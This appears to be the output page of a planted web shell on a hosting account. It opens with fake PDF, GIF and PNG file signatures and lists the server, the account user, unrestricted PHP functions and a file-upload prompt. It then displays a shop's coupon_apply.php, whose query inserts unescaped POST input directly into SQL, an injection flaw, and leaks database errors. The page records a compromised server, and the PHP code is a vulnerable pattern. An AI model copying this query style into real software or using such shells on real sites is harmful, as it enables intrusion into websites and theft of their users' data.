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%PDF- %GIF98; %PNG; . Cyber Programmer

Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory : /home1/ndkhermy/www/website_93b53270/

Upload File :

Current File : /home1/ndkhermy/www/website_93b53270/coupon_apply.php

<?php
include 'function.php';

    $coupon_code = $_POST['coupon_code'];
    $validityDate = date('Y-m-d');
    $ChkQry = mysqli_query($conn, "SELECT * FROM `coupon_tbl` WHERE `coupon` = '$coupon_code' AND `expiry_date` >= '$validityDate' AND `quantity` > '0' AND status=1") or die(mysqli_error($conn));
    if (mysqli_num_rows($ChkQry) > 0) {
        $coupon_data = mysqli_fetch_assoc($ChkQry);
        $coupon_id = $coupon_data['id'];
        $ChkQry_user = mysqli_query($conn, "SELECT * FROM `user_tbl` WHERE FIND_IN_SET('$coupon_id', `coupon`) AND id='".$_SESSION['user_id']."'") or die(mysqli_error($conn));
        if (mysqli_num_rows($ChkQry_user) > 0) {
            $_SESSION['discount'] = $coupon_data['discount'];
            $_SESSION['coupon'] = $coupon_data['coupon'];
            echo json_encode(array('status'=>'success', 'message'=>'Successfully applied the coupon.'));
        }else{
            echo json_encode(array('status'=>'error', 'message'=>'The coupon is invalid. Please verify and try again.'));
        }
    } else {
        echo json_encode(array('status'=>'error', 'message'=>'The coupon is invalid or has expired.'));
    }
?>

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